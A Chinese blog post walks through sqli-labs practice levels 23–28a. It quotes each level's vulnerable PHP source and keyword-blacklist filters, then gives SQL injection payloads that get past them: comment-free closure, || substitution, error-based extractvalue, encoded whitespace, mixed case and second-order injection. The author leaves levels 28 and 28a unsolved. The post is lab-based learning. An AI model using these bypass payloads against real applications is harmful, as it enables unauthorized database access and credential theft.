靶场练习-Sqli-labs通关记录(get型绕过)(23-28a关)

0x00 实验环境

本地:Win 10

靶场:sqli-labs(共65关,每日一关)

 

0x02 通关记录

简介:一天一关!

 

(23)第二十三关:

 

 看看源代码:

 

 源码里,将注释符替换为了空,就是# 、--+这两个注释符。

if(isset($_GET['id']))
{
$id=$_GET['id'];

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

我们在数据库里输入语句试试:

 

 查询id:

 

 union联合查询:

 

 如果后面不让你输入注释符了,为何不进行语句的正常查询呢!

 

 如下所示,后面就正常查询:只要语句是闭合的,不用使用#号或者--+都不会报错

$sql="SELECT * FROM users WHERE id='$id' union select 1,2,'3' LIMIT 0,1";

 

 因此可以构造:

-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="users"),'3

 

 尝试一下:

 通关成功!

 

(24)第二十四关:

是考查的二次注入:关于二次注入,可查看我写的这篇文章:二次注入原理及防御

 

if($pass==$re_pass)
    {    
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
        $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
        $row = mysql_affected_rows();
        echo '<font size="3" color="#FFFF00">';
        echo '<center>';
        if($row==1)
        {
            echo "Password successfully updated";
    
        }

修改密码时admin'#用户密码时,因为'#闭合了语句,变成了修改admin的密码:

$sql = "UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass' ";

因此此关不再赘述。

 

(25)第二十五关:

 

// connectivity 
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";    
          echo 'Your Login name:'. $row['username'];
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
      }
    else 
    {
        echo '<font color= "#FFFF00">';
        print_r(mysql_error());
        echo "</font>";  
    }
}
else 
{ 
    echo "Please input the ID as parameter with numeric value";
}


function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/AND/i',"", $id);        //Strip out AND (non case sensitive)
    
    return $id;
}

看源码是对or与and进行了过滤,对这些进行了过滤的可以查看我之前写的一篇文章:SQL注入绕过waf的一万种姿势

and的话可以用&&进行代替试试,or可以用||进行代替:

(1)大小写变形 Or,OR,oR 
(2)编码,hex,urlencode
(3)添加注释/*or*/
(4)利用符号 and=&& or=||

 

1'|| extractvalue(1,concat(0x7e,database()))--+

 通关成功!

 

(25a)第二十五A关:

 

// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";    
          echo 'Your Login name:'. $row['username'];
        //echo 'YOU ARE IN ........';          
        echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
      }
    else 
    {
        echo '<font size="5" color="#FFFF00">';
        //echo 'You are in...........';
        //print_r(mysql_error());
        //echo "You have an error in your SQL syntax";
        echo "</br></font>";    
        echo '<font color= "#0000ff" font size= 3>';    
    
    }
}
    else 
{ 
    echo "Please input the ID as parameter with numeric value";
}

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/AND/i',"", $id);        //Strip out AND (non case sensitive)
    
    return $id;
}

这关就是没有单引号了,同时不会进行报错:用You are in .......来代替了,其他跟25关差不多,不能用报错注入,只能用延时注入与联合注入试试:

-1 union select 1,database(),3#

 

 

-1 || 1=1#

 

(26)第二十六关:

过滤了空格:

 

 过滤了or、and、/、--、#、空格、\\等字符:

// connectivity 
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";    
          echo 'Your Login name:'. $row['username'];
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
      }
    else 
    {
        echo '<font color= "#FFFF00">';
        print_r(mysql_error());
        echo "</font>";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}




function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --
    $id= preg_replace('/[#]/',"", $id);            //Strip out #
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
    return $id;
}
%09 TAB 键(水平) 
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格

使用联合查询(5.2版本的php亲测%a0是可以替换空格的,5.4、5.5的不行):

' union select 1,database(),3--+
替换为:
1000000000%27%a0union%a0select%a01,2,%273

 

(27)第二十七关:

 27关过滤得更多了:

// connectivity 
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";    
          echo 'Your Login name:'. $row['username'];
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
      }
    else 
    {
        echo '<font color= "#FFFF00">';
        print_r(mysql_error());
        echo "</font>";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}




function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);            //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);        //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);        //Strip out union
$id= preg_replace('/select/s',"", $id);        //Strip out select
$id= preg_replace('/UNION/s',"", $id);        //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);        //Strip out Union
$id= preg_replace('/Select/s',"", $id);        //Strip out select
return $id;
}

过滤了/*、--、#、空格、select、union、UNION、SELECT、Union、Select这些。

 

 试试用大小写或者重复进行绕过:(基于5.4、5.5的PHP版本;5.2的突然不行了,有点离谱!)

-100'%0BunIon%0BSelEcT%0B1,database(),'3

用%0b绕过空格,其他的关键字大小写乱打就行了:

 

(26a)第二十六A关:

 因为太happy把26a关忘记了,这里补一下:

 

// connectivity 
    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";    
          echo 'Your Login name:'. $row['username'];
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
      }
    else 
    {
        echo '<font color= "#FFFF00">';
        //print_r(mysql_error());
        echo "</font>";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}




function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --
    $id= preg_replace('/[#]/',"", $id);            //Strip out #
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
    return $id;
}

过滤了or、and、/*、--、#、空格、\\等,然后闭合语句改为')后面闭合用(',空格用%a0 (基于5.2,其实我觉得吧%0b跟%a0都是可以在5.2-5.5版本使用的,可能是其他原因,这个之后会单独列一篇针对版本的绕过)

不用不就可以了吗!没看答案自己做出来了:

-1000000')%a0union%a0select%a01,2,('3

 

(27a)第二十七A关:

 

 又是union跟select

过滤了/*、--、#、空格、union、select、UINON、SELECT、Union、Select等

if(isset($_GET['id']))
{
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);

    //fiddling with comments
    $id= blacklist($id);
    //echo "<br>";
    //echo $id;
    //echo "<br>";
    $hint=$id;
    $id = '"' .$id. '"';

// connectivity 
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";    
          echo 'Your Login name:'. $row['username'];
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
      }
    else 
    {
        echo '<font color= "#FFFF00">';
        //print_r(mysql_error());
        echo "</font>";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}




function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);            //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);        //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);        //Strip out union
$id= preg_replace('/select/s',"", $id);        //Strip out select
$id= preg_replace('/UNION/s',"", $id);        //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);        //Strip out Union
$id= preg_replace('/Select/s',"", $id);        //Strip out Select
return $id;
}

 

跟27关唯一不同是没有逗号闭合了,使用的"进行闭合:(基于5.2以上的php版本,有点奇怪,明明没使用过滤逗号的函数,还是有问题,算了,这个先不深入研究)

-1000"%0BUnIon%0BSeLect%0B1,2,"3

 

 

(28)第二十八关:

// connectivity 
    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";    
          echo 'Your Login name:'. $row['username'];
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
      }
    else 
    {
        echo '<font color= "#FFFF00">';
        //print_r(mysql_error());
        echo "</font>";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}




function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
$id= preg_replace('/[--]/',"", $id);                //Strip out --.
$id= preg_replace('/[#]/',"", $id);                    //Strip out #.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);        //Strip out UNION & SELECT.
return $id;
}

 

 这次是只要是跟Union和select有关的,都不行了,然后闭合还使用的')

 

 

 

 

 

 

 28关有bug,等我回头再试试!

 

(28a)第二十八A关:

我是真的有点怕bug,一些玄学问题解决不掉*-*

 

// connectivity 
    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";    
          echo 'Your Login name:'. $row['username'];
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
      }
    else 
    {
        echo '<font color= "#FFFF00">';
        //print_r(mysql_error());
        echo "</font>";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}




function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
//$id= preg_replace('/[--]/',"", $id);                //Strip out --.
//$id= preg_replace('/[#]/',"", $id);                    //Strip out #.
//$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                    //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);        //Strip out spaces.
return $id;
}

 

100%27)%a0unIon%a0sElect%a01,@@basedir,3||(%271

按道理我上面的注入语句是没错的,这28关确实难到我了!故跳过!遇到困难睡大觉!

posted @ 2021-11-15 15:47  铺哩  阅读(301)  评论(0编辑  收藏  举报